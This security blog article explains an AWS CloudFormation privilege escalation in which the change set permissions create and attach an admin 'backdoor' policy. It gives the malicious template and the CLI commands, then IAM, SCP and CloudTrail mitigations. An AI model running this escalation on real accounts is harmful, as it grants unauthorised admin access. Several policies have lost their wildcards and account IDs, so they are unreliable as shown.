Listen to this Post
Introduction:
AWS CloudFormation is a cornerstone of Infrastructure as Code (IaC) for many organizations, but its managed policies can hide critical security risks. A specific and often misunderstood permission related to change sets can allow an attacker with seemingly low-level access to escalate their privileges to near-administrative levels, fundamentally compromising your cloud environment. This article deconstructs this escalation path, providing the technical commands and configurations to identify, exploit for educational purposes, and ultimately mitigate this dangerous vulnerability.
Learning Objectives:
- Understand the specific IAM permission within `AWSCloudFormationFullAccess` that enables privilege escalation.
- Learn how to craft and execute a malicious CloudFormation change set to grant new, powerful IAM permissions.
- Implement defensive strategies and monitoring techniques to detect and prevent this attack vector in your AWS accounts.
You Should Know:
1. The Deceptive Power of `cloudformation:CreateChangeSet`
The core of this vulnerability lies in the `cloudformation:CreateChangeSet` action. While change sets are designed to preview stack changes safely, the permission to create them is dangerously powerful when combined with the `”Resource”: “”` wildcard. The managed policy `AWSCloudFormationFullAccess` grants this permission broadly. A change set is not merely a “read” operation; it is a proposed execution plan that can include actions to create, modify, or delete any resource that the CloudFormation service role has permission to affect. If an attacker can control the template used in a change set and point it at an existing stack, they can propose changes that alter the IAM landscape itself.
2. Step-by-Step Exploitation: From User to Admin
To demonstrate the severity, let’s walk through an exploitation scenario. Assume an attacker has a set of limited IAM permissions, but crucially, they have been granted the `AWSCloudFormationFullAccess` managed policy, or a custom policy that allows `cloudformation:CreateChangeSet` on “ resources.
Prerequisites:
An existing CloudFormation stack in the target account (e.g., a simple VPC stack).
The IAM identity (user/role) of the attacker has `cloudformation:CreateChangeSet` and `cloudformation:ExecuteChangeSet` permissions for this stack.
The CloudFormation service role (the role CFN uses to make changes) has powerful permissions, such as `IAM:CreatePolicy` and IAM:AttachRolePolicy.
Exploitation Steps:
Step 1: Craft a Malicious CloudFormation Template.
The attacker creates a template file (malicious-template.yaml) designed to create a new IAM policy and attach it to their own user.
AWSTemplateFormatVersion: '2010-09-09' Resources: BackdoorPolicy: Type: 'AWS::IAM::ManagedPolicy' Properties: PolicyDocument: Version: '2012-10-17' Statement: - Effect: Allow Action: '' Resource: '' Description: 'Backdoor policy created via CFN PrivEsc' AttachBackdoor: Type: 'AWS::IAM::UserPolicyAttachment' Properties: PolicyArn: !Ref BackdoorPolicy UserName: 'attacker-username' Replace with the attacker's actual IAM username
Step 2: Create the Change Set.
Using the AWS CLI, the attacker proposes this malicious template as a change to the existing, trusted stack.
Linux/macOS (Bash) or Windows (Command Prompt/PowerShell) aws cloudformation create-change-set \ --stack-name ExistingVPCStack \ Target an existing stack --change-set-name MyPrivEscChangeSet \ --template-body file://malicious-template.yaml \ --capabilities CAPABILITY_NAMED_IAM
Step 3: Execute the Change Set.
If the change set is created successfully, the attacker then executes it. This step is what applies the changes.
aws cloudformation execute-change-set \ --stack-name ExistingVPCStack \ --change-set-name MyPrivEscChangeSet
Upon successful execution, the CloudFormation service, using its powerful service role, creates the new administrative policy and attaches it to the attacker’s user. The attacker now has full permissions within the AWS account.
- Defensive IAM Policy Crafting: The Principle of Least Privilege
The primary mitigation is to apply the principle of least privilege with surgical precision. Never grant wildcard ("Resource": "") permissions for `cloudformation:CreateChangeSet` or `cloudformation:ExecuteChangeSet` to untrusted identities.
Secure IAM Policy Example:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowPredefinedChangesets",
"Effect": "Allow",
"Action": [
"cloudformation:CreateChangeSet",
"cloudformation:ExecuteChangeSet"
],
"Resource": [
"arn:aws:cloudformation:::stack/TrustedStack-1/",
"arn:aws:cloudformation:::stack/TrustedStack-2/"
],
"Condition": {
"StringEquals": {
"cloudformation:ChangeSetAction": ["CREATE", "UPDATE"] Explicitly deny DELETE actions via changeset
}
}
}
]
}
This policy restricts change set operations to specific, trusted stacks and can even control the types of actions a change set is allowed to propose.
4. Hardening the CloudFormation Service Role
The service role assumed by CloudFormation (often named CloudFormationServiceRole) must be scoped down. It should not have wildcard IAM permissions. Use a custom service role with precisely the permissions needed for your stacks’ intended operations. For instance, a stack that only manages S3 buckets should have a service role that only allows S3 actions, not IAM actions.
Use the following command to check the trust relationship of a role: aws iam get-role --role-name CloudFormationServiceRole To check the attached policies: aws iam list-attached-role-policies --role-name CloudFormationServiceRole
5. Proactive Detection with AWS Config and CloudTrail
You must monitor for suspicious change set activity. AWS CloudTrail logs all API calls.
CloudTrail Lookup Command & Analysis:
Use the AWS CLI to look for CreateChangeSet events in a specific time period. This is a simplified example; in practice, you would use Athena or CloudTrail Insights. aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateChangeSet --start-time 2023-10-01T00:00:00Z --end-time 2023-10-02T00:00:00Z --region us-east-1
Look for events where:
`requestParameters.stackName` is an existing, critical stack.
`requestParameters.templateURL` points to an unknown or unapproved location.
The `userIdentity` is not a trusted DevOps tool or engineer.
Combine this with AWS Config rules to ensure that your CloudFormation service roles are compliant and do not have excessive IAM privileges.
- Leveraging Service Control Policies (SCPs) in an Organization
For organizations using AWS Organizations, SCPs offer a powerful, account-wide defense. You can create an SCP that explicitly denies the ability to create or execute change sets on critical production stacks for all identities except a specific break-glass role.
Example SCP Snippet:
{
"Sid": "DenyChangeSetsOnCriticalStacks",
"Effect": "Deny",
"Action": [
"cloudformation:CreateChangeSet",
"cloudformation:ExecuteChangeSet"
],
"Resource": [
"arn:aws:cloudformation:::stack/Prod-CoreNetwork-",
"arn:aws:cloudformation:::stack/Prod-IAM-"
],
"Condition": {
"ArnNotLike": {
"aws:PrincipalArn": "arn:aws:iam:::role/BreakGlassAdminRole"
}
}
}
What Undercode Say:
- The `CreateChangeSet` permission is a potent “write” capability disguised as a “preview” action. Treating it with the same caution as direct resource modification permissions is non-negotiable for mature cloud security.
- The blast radius of this exploit is determined by the permissions of the CloudFormation service role. A poorly configured service role acts as a universal privilege escalation key for anyone who can trigger a stack update.
This vulnerability is a classic example of unintended consequences arising from the complex interplay of AWS services. It’s not a bug in AWS but a critical misconfiguration risk. The managed policy `AWSCloudFormationFullAccess` is designed for ease of use, not security, and its application in production environments without rigorous scoping is a severe oversight. Security teams must move beyond simply attaching managed policies and instead embrace a policy-as-code approach, where every permission is explicitly defined and justified. The shared responsibility model dictates that AWS provides the tools, but customers are responsible for using them securely. Failing to understand the true power of change sets is a failure to uphold that responsibility.
Prediction:
This specific change set escalation vector will lead to a broader re-evaluation of trust relationships with other managed AWS services. In the future, we will see an increase in similar “secondary effect” vulnerabilities, where a benign-seeming permission in one service (like CloudFormation, AWS Backup, or Systems Manager) is exploited to abuse the powerful service roles linked to them. This will drive the adoption of more sophisticated permission boundary and SCP designs, forcing a shift from simple “Allow/Deny” policies to complex, conditional, and context-aware IAM models that analyze the chain of service calls, not just the initial API request.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Lucianpatian Awsecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
